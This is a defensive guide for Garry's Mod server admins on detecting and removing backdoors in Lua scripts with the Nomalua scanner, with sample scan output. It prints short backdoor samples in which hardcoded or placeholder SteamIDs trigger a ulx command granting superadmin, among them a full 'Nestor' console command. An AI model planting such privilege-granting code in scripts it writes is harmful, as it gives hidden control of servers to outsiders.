How to Detect Backdoors in Your Gmod Server Script: A Comprehensive Guide

Ensuring the security of your Garry’s Mod (Gmod) server is paramount for a smooth and enjoyable experience for you and your community. Backdoors in server scripts can compromise this security, leading to unauthorized access, griefing, and potential data breaches. This guide will provide you with a detailed walkthrough on how to effectively detect backdoors in your Gmod server scripts, empowering you to maintain a secure and trustworthy server environment.

Understanding the Threat: Backdoors in Gmod Servers

Backdoors are essentially hidden pathways within your server’s code that bypass normal security measures. Malicious actors often insert these backdoors, particularly within leaked or untrusted scripts, to gain illicit control over your server. This control can range from minor annoyances to complete server takeover, making backdoor detection a critical aspect of server administration.

Why are Backdoors a Problem?

Unauthorized Access: Backdoors can grant individuals, often script creators or those who distribute leaked content, administrative privileges without proper authorization.
Griefing and Disruption: Malicious users can exploit backdoors to disrupt gameplay, ban legitimate players, and cause general chaos on your server.
Data Compromise: In severe cases, backdoors can be used to access sensitive server data or even inject further malicious code.
Reputation Damage: A server plagued by backdoor exploits will quickly lose player trust and suffer reputational damage.

Introducing the Nomalua Backdoor Scanner

One effective tool to help you identify potential backdoors is the Nomalua script. This script scans your server files for suspicious code patterns commonly associated with backdoors, providing a report that highlights areas of concern. While not foolproof, Nomalua is a valuable asset in your server security toolkit.

Step-by-Step Guide: Installing and Using the Nomalua Script

Download the Nomalua Script: Begin by downloading the necessary script file. You can find it here. Ensure you download from a trusted source to avoid introducing further security risks.
Upload to Your Server: Access your server files, typically through an FTP client or your hosting provider’s file manager. Navigate to the garrysmod/addons/ directory and create a new folder named nomalua. Upload the downloaded nomalua script file into this newly created folder.
Restart Your Server: For the script to be recognized and function correctly, you need to restart your Gmod server. This ensures that the server loads the new addon files upon startup.
Execute the Scan Command: Once your server is back online, access the server console. This is usually done through your hosting provider’s control panel or an RCON tool. In the console, type the command nomalua_scan and press Enter.
Analyze the Scan Results: The script will now scan your server files. This process might cause temporary lag, usually lasting between 15 to 20 seconds, depending on the size of your server files. After the scan completes, reopen the server console. You should see a report detailing potential backdoor indicators.

1 - MISC (References global table) gamemodes/darkrp/gamemode/libraries/fn.lua:120 GetGlobalVar = function(key) return _G[key] end
4 - NETWORK (HTTP server call) lua/autorun/photon/cl_emv_airel.lua:17 http.Fetch( fetchUrl,
1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:52 local fileRead = file.Read( "playerlist.txt" )
1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:92 local fileCheck = file.Read("playerlist.txt")
1 - FILESYS (Reading file contents) addons/steamnamerewarder/lua/autorun/snr_main.lua:142 file.Read( "playerlist.txt" )
4 - NETWORK (HTTP server call) gamemodes/darkrp/gamemode/modules/darkrpmessages/cl_darkrpmessage.lua:16 http.Fetch("https://raw.github.com/FPtje/DarkRPMotd/master/motd.txt", receiveMOTD, fn.Id)
2 - AUTHENT (Presence of Steam ID) lua/autorun/tdmcars_vols60_police.lua:2 © Guillaume (STEAM_0:0:71249946)
1 - MISC (References global table) lua/includes/util.lua:267 _G[ name ] = NUM_AI_CLASSES
2 - FILESYS (File deletion) lua/includes/util/javascript_util.lua:13 html:AddFunction( "gmod", "DeleteLocal", function( param ) file.Delete( param, "MOD" ) end )
1 - MISC (References global table) lua/includes/util/javascript_util.lua:14 html:AddFunction( "gmod", "FetchItems", function( namespace, cat, offset, perpage, ... ) _G[ namespace ]:Fetch( cat, tonumber( offset ), tonumber( perpage ), { ... } ) end )
1 - MISC (References global table) lua/includes/util/javascript_util.lua:16 html:AddFunction( "gmod", "Publish", function( namespace, file, background ) _G[ namespace ]:Publish( file, background ) end )
2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:52 Chromebolt A.K.A. Unib5 (STEAM_0:1:19045957)
2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:55 Falco A.K.A. FPtje Atheos (STEAM_0:0:8944068)
2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:58 Drakehawke (STEAM_0:0:22342869) (64 commits on old SVN)

Example of a Nomalua scan output in the server console, highlighting potential areas in server scripts that require further investigation for backdoors.

Interpreting Nomalua Scan Results: Spotting Backdoor Indicators

The Nomalua script flags various code patterns, categorized for easier analysis. Pay close attention to the AUTHENT (Presence of Steam ID) entries, as these are often associated with backdoors.

Legitimate vs. Suspicious SteamIDs:

Legitimate Player SteamIDs: Lines like this, referencing player names, are usually benign and part of normal server functions:
```
AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/modules/chat/cl_chat.lua:58 Drakehawke (STEAM_0:0:22342869)
```
This simply indicates the script is referencing a player’s SteamID, which is common for chat systems or player identification.
Suspicious Hardcoded SteamIDs: Backdoors often utilize hardcoded SteamIDs to grant specific individuals unauthorized privileges. Look for patterns like this:
```
AUTHENT (Presence of Steam ID) addons/nestorro/lua/autorun/nestorro_launch.lua:101 if ( ply:SteamID() == "STEAM_0:1:64045285") then
```
This code snippet checks if a player’s SteamID matches a specific hardcoded SteamID (“STEAM_0:1:64045285”). If it matches, it could be triggering a hidden function, potentially a backdoor.
Generic SteamID Placeholders: Be particularly wary of code using placeholder SteamIDs like "STEAM_0:100000000" or "STEAM_0:1:00000000". These are often used by script creators as easy-to-replace placeholders when implementing backdoors:
```
if ( ply:SteamID() == "STEAM_0:1:00000000") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin") else
```
This example directly grants “superadmin” privileges to a player with a specific (likely placeholder) SteamID, a clear indicator of a backdoor.

Important Note: Nomalua is a detection tool, not a definitive backdoor identifier. It flags potential issues. You must manually review the flagged code snippets to confirm if they are indeed malicious. Legitimate scripts might also use SteamID checks for valid reasons. Context and code analysis are crucial.

Removing a Backdoor: Taking Action

Once you’ve identified a confirmed backdoor, the immediate step is removal. This typically involves deleting or commenting out the malicious code.

Example Backdoor Code:

concommand.Add( "Nestor", function(ply)  if ( ply:SteamID() == "STEAM_0:0:82261024") then RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin") else ply:ChatPrint("Bye " .. ply:Name() .. ".") end end)

This code creates a console command “Nestor”. If a player with the SteamID “STEAM_0:0:82261024” executes this command, they are granted superadmin privileges. Otherwise, a harmless chat message is displayed.

Removal Steps:

Locate the File: Nomalua reports will tell you the file path of the suspicious code. Use this path to find the file in your server files.
Edit the File: Open the file using a text editor.
Delete or Comment Out: Carefully delete the backdoor code block. Alternatively, you can comment it out by adding -- at the beginning of each line of the malicious code. Commenting out allows you to easily revert the change if needed, but deleting is more secure in the long run.
Save and Restart: Save the modified file and restart your Gmod server for the changes to take effect.

Proactive Server Security: Preventing Backdoors

Prevention is always better than cure. Here are crucial steps to minimize the risk of backdoors on your Gmod server:

Avoid Leaked Scripts: The primary source of backdoors is leaked or pirated scripts. Always obtain scripts from reputable sources and official creators.
Regular Script Audits: Periodically review your server scripts, especially after adding new addons or updates. Look for unfamiliar code or suspicious patterns.
Use a Backdoor Scanner Regularly: Integrate Nomalua or similar tools into your server maintenance routine for ongoing monitoring.
Implement Server Security Best Practices: Follow general server security guidelines, such as strong passwords, access control, and keeping your server software updated.

Conclusion: Staying Vigilant for a Secure Gmod Server

Detecting and removing backdoors is an ongoing process in Gmod server administration. By understanding the risks, utilizing tools like Nomalua, and practicing proactive security measures, you can significantly enhance your server’s security and provide a safer and more enjoyable environment for your players. Remember that vigilance and a cautious approach to script management are your best defenses against backdoors and other security threats.